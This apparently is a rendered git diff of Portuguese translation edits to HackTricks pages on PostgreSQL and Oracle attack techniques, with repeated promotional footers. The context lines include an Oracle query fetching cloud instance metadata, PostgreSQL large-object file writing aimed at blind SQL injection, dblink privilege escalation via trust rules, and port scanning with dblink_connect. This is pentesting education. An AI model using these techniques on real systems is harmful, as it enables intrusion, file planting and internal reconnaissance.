Outro pacote que já utilizei no passado com sucesso variado é o [método `GETCLOB()` do tipo abstrato Oracle `HTTPURITYPE`](https://docs.oracle.com/database/121/ARPLS/t\_dburi.htm#ARPLS71705) que permite interagir com uma URL e oferece suporte para o protocolo HTTP. O método `GETCLOB()` é usado para buscar a resposta GET de uma URL como um [tipo de dado CLOB.](https://docs.oracle.com/javadb/10.10.1.2/ref/rrefclob.html)[select HTTPURITYPE('http://169.254.169.254/latest/meta-data/instance-id').getclob() from dual;
|
Outro pacote que já utilizei no passado com sucesso variado é o [método `GETCLOB()` do tipo abstrato Oracle `HTTPURITYPE`](https://docs.oracle.com/database/121/ARPLS/t\_dburi.htm#ARPLS71705) que permite interagir com uma URL e oferece suporte para o protocolo HTTP. O método `GETCLOB()` é usado para buscar a resposta GET de uma URL como um [tipo de dado CLOB.](https://docs.oracle.com/javadb/10.10.1.2/ref/rrefclob.html)[select HTTPURITYPE('http://169.254.169.254/latest/meta-data/instance-id').getclob() from dual;
|
||||||
|
|
|
@ -7,8 +7,8 @@ Outras maneiras de apoiar o HackTricks:
|
||||||
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||||
* **Compartilhe seus truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
|
@ -16,9 +16,9 @@ Outras maneiras de apoiar o HackTricks:
|
||||||
|
|
||||||
O PostgreSQL oferece uma estrutura conhecida como **objetos grandes**, acessíveis através da tabela `pg_largeobject`, projetada para armazenar tipos de dados grandes, como imagens ou documentos PDF. Esta abordagem é vantajosa em relação à função `COPY TO`, pois permite a **exportação de dados de volta para o sistema de arquivos**, garantindo que uma réplica exata do arquivo original seja mantida.
|
O PostgreSQL oferece uma estrutura conhecida como **objetos grandes**, acessíveis através da tabela `pg_largeobject`, projetada para armazenar tipos de dados grandes, como imagens ou documentos PDF. Esta abordagem é vantajosa em relação à função `COPY TO`, pois permite a **exportação de dados de volta para o sistema de arquivos**, garantindo que uma réplica exata do arquivo original seja mantida.
|
||||||
|
|
||||||
Para **armazenar um arquivo completo** dentro desta tabela, um objeto deve ser criado na tabela `pg_largeobject` (identificado por um LOID), seguido pela inserção de fragmentos de dados, cada um com 2KB de tamanho, neste objeto. É crucial que esses fragmentos tenham exatamente 2KB de tamanho (com a possível exceção do último fragmento) para garantir que a função de exportação seja executada corretamente.
|
Para **armazenar um arquivo completo** dentro desta tabela, um objeto deve ser criado na tabela `pg_largeobject` (identificado por um LOID), seguido pela inserção de pedaços de dados, cada um com 2KB de tamanho, neste objeto. É crucial que esses pedaços tenham exatamente 2KB de tamanho (com a possível exceção do último pedaço) para garantir que a função de exportação seja executada corretamente.
|
||||||
|
|
||||||
Para **dividir seus dados binários** em fragmentos de 2KB, os seguintes comandos podem ser executados:
|
Para **dividir seus dados binários** em pedaços de 2KB, os seguintes comandos podem ser executados:
|
||||||
```bash
|
```bash
|
||||||
split -b 2048 your_file # Creates 2KB sized files
|
split -b 2048 your_file # Creates 2KB sized files
|
||||||
```
|
```
|
||||||
|
@ -29,7 +29,7 @@ xxd -ps -c 99999999999 <Chunk_file> # Encodes in Hex in one line
|
||||||
```
|
```
|
||||||
**Importante**: Ao automatizar este processo, certifique-se de enviar pedaços de 2KB de bytes de texto simples. Arquivos codificados em hexadecimal exigirão 4KB de dados por pedaço devido ao dobro de tamanho, enquanto arquivos codificados em Base64 seguem a fórmula `ceil(n / 3) * 4`.
|
**Importante**: Ao automatizar este processo, certifique-se de enviar pedaços de 2KB de bytes de texto simples. Arquivos codificados em hexadecimal exigirão 4KB de dados por pedaço devido ao dobro de tamanho, enquanto arquivos codificados em Base64 seguem a fórmula `ceil(n / 3) * 4`.
|
||||||
|
|
||||||
O conteúdo dos objetos grandes pode ser visualizado para fins de depuração usando:
|
O conteúdo dos grandes objetos pode ser visualizado para fins de depuração usando:
|
||||||
```sql
|
```sql
|
||||||
select loid, pageno, encode(data, 'escape') from pg_largeobject;
|
select loid, pageno, encode(data, 'escape') from pg_largeobject;
|
||||||
```
|
```
|
||||||
|
@ -40,7 +40,7 @@ Para armazenar dados binários, primeiro é criado um LOID:
|
||||||
SELECT lo_creat(-1); -- Creates a new, empty large object
|
SELECT lo_creat(-1); -- Creates a new, empty large object
|
||||||
SELECT lo_create(173454); -- Attempts to create a large object with a specific OID
|
SELECT lo_create(173454); -- Attempts to create a large object with a specific OID
|
||||||
```
|
```
|
||||||
Em situações que exigem controle preciso, como explorar uma Injeção de SQL Blind, `lo_create` é preferido para especificar um LOID fixo.
|
Em situações que exigem controle preciso, como explorar uma Injeção de SQL Blind, `lo_create` é preferível para especificar um LOID fixo.
|
||||||
|
|
||||||
Os pedaços de dados podem então ser inseridos da seguinte forma:
|
Os pedaços de dados podem então ser inseridos da seguinte forma:
|
||||||
```sql
|
```sql
|
||||||
|
@ -65,7 +65,7 @@ Após a criação do objeto, os dados são inseridos por página, garantindo que
|
||||||
update pg_largeobject set data=decode('<HEX>', 'hex') where loid=173454 and pageno=0;
|
update pg_largeobject set data=decode('<HEX>', 'hex') where loid=173454 and pageno=0;
|
||||||
update pg_largeobject set data=decode('<HEX>', 'hex') where loid=173454 and pageno=1;
|
update pg_largeobject set data=decode('<HEX>', 'hex') where loid=173454 and pageno=1;
|
||||||
```
|
```
|
||||||
Para completar o processo, os dados são exportados e o large object é deletado:
|
Para completar o processo, os dados são exportados e o grande objeto é excluído:
|
||||||
```sql
|
```sql
|
||||||
select lo_export(173454, '/path/to/your_file');
|
select lo_export(173454, '/path/to/your_file');
|
||||||
select lo_unlink(173454); -- Deletes the specified large object
|
select lo_unlink(173454); -- Deletes the specified large object
|
||||||
|
@ -80,10 +80,10 @@ select lo_unlink(173454); -- Deletes the specified large object
|
||||||
|
|
||||||
Outras maneiras de apoiar o HackTricks:
|
Outras maneiras de apoiar o HackTricks:
|
||||||
|
|
||||||
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||||
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||||
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -2,15 +2,15 @@
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary><strong>Aprenda hacking AWS do zero ao avançado com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Especialista Red Team AWS do HackTricks)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
Outras maneiras de apoiar o HackTricks:
|
Outras maneiras de apoiar o HackTricks:
|
||||||
|
|
||||||
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||||
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
* **Compartilhe seus truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
|
@ -21,14 +21,14 @@ Outras maneiras de apoiar o HackTricks:
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary><strong>Aprenda hacking AWS do zero ao avançado com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Especialista Red Team AWS do HackTricks)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
Outras maneiras de apoiar o HackTricks:
|
Outras maneiras de apoiar o HackTricks:
|
||||||
|
|
||||||
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||||
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
* **Compartilhe seus truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -4,10 +4,10 @@
|
||||||
|
|
||||||
Outras maneiras de apoiar o HackTricks:
|
Outras maneiras de apoiar o HackTricks:
|
||||||
|
|
||||||
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||||
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
@ -27,17 +27,17 @@ O arquivo `pg_hba.conf` pode estar mal configurado **permitindo conexões** de *
|
||||||
```
|
```
|
||||||
local all all trust
|
local all all trust
|
||||||
```
|
```
|
||||||
_Note que esta configuração é comumente usada para modificar a senha de um usuário de banco de dados quando o administrador a esquece, então às vezes você pode encontrá-la._\
|
_Note que esta configuração é comumente usada para modificar a senha de um usuário do banco de dados quando o administrador a esquece, então às vezes você pode encontrá-la._\
|
||||||
_Note também que o arquivo pg\_hba.conf é legível apenas pelo usuário e grupo postgres e gravável apenas pelo usuário postgres._
|
_Note também que o arquivo pg\_hba.conf é legível apenas pelo usuário e grupo postgres e gravável apenas pelo usuário postgres._
|
||||||
|
|
||||||
Este caso é **útil se** você **já** tiver um **shell** dentro da vítima, pois permitirá que você se conecte ao banco de dados postgresql.
|
Este caso é **útil se** você **já** tem um **shell** dentro da vítima, pois permitirá que você se conecte ao banco de dados postgresql.
|
||||||
|
|
||||||
Outra possível má configuração consiste em algo assim:
|
Outra possível má configuração consiste em algo como isso:
|
||||||
```
|
```
|
||||||
host all all 127.0.0.1/32 trust
|
host all all 127.0.0.1/32 trust
|
||||||
```
|
```
|
||||||
Como permitirá que todos, do localhost, se conectem ao banco de dados como qualquer usuário.\
|
Como permitirá que todos, do localhost, se conectem ao banco de dados como qualquer usuário.\
|
||||||
Neste caso e se a função **`dblink`** estiver **funcionando**, você poderia **aumentar os privilégios** conectando-se ao banco de dados por meio de uma conexão já estabelecida e acessar dados aos quais não deveria ter acesso:
|
Neste caso e se a função **`dblink`** estiver **funcionando**, você poderia **elevar privilégios** conectando-se ao banco de dados por meio de uma conexão já estabelecida e acessar dados aos quais não deveria ter acesso:
|
||||||
```sql
|
```sql
|
||||||
SELECT * FROM dblink('host=127.0.0.1
|
SELECT * FROM dblink('host=127.0.0.1
|
||||||
user=postgres
|
user=postgres
|
||||||
|
@ -53,7 +53,7 @@ RETURNS (result1 TEXT, result2 TEXT);
|
||||||
```
|
```
|
||||||
## Varredura de Portas
|
## Varredura de Portas
|
||||||
|
|
||||||
Aproveitando o `dblink_connect`, você também pode **pesquisar portas abertas**. Se essa **função não funcionar, você deve tentar usar `dblink_connect_u()`**, pois a documentação diz que `dblink_connect_u()` é idêntico ao `dblink_connect()`, exceto que permitirá que não superusuários se conectem usando qualquer método de autenticação.
|
Abusando do `dblink_connect`, você também poderia **pesquisar portas abertas**. Se essa **função não funcionar, você deve tentar usar `dblink_connect_u()`**, pois a documentação diz que `dblink_connect_u()` é idêntico ao `dblink_connect()`, exceto que permitirá que não superusuários se conectem usando qualquer método de autenticação.
|
||||||
```sql
|
```sql
|
||||||
SELECT * FROM dblink_connect('host=216.58.212.238
|
SELECT * FROM dblink_connect('host=216.58.212.238
|
||||||
port=443
|
port=443
|
||||||
|
@ -114,7 +114,7 @@ Outras maneiras de apoiar o HackTricks:
|
||||||
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||||
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
Some files were not shown because too many files have changed in this diff Show more
Loading…
Reference in a new issue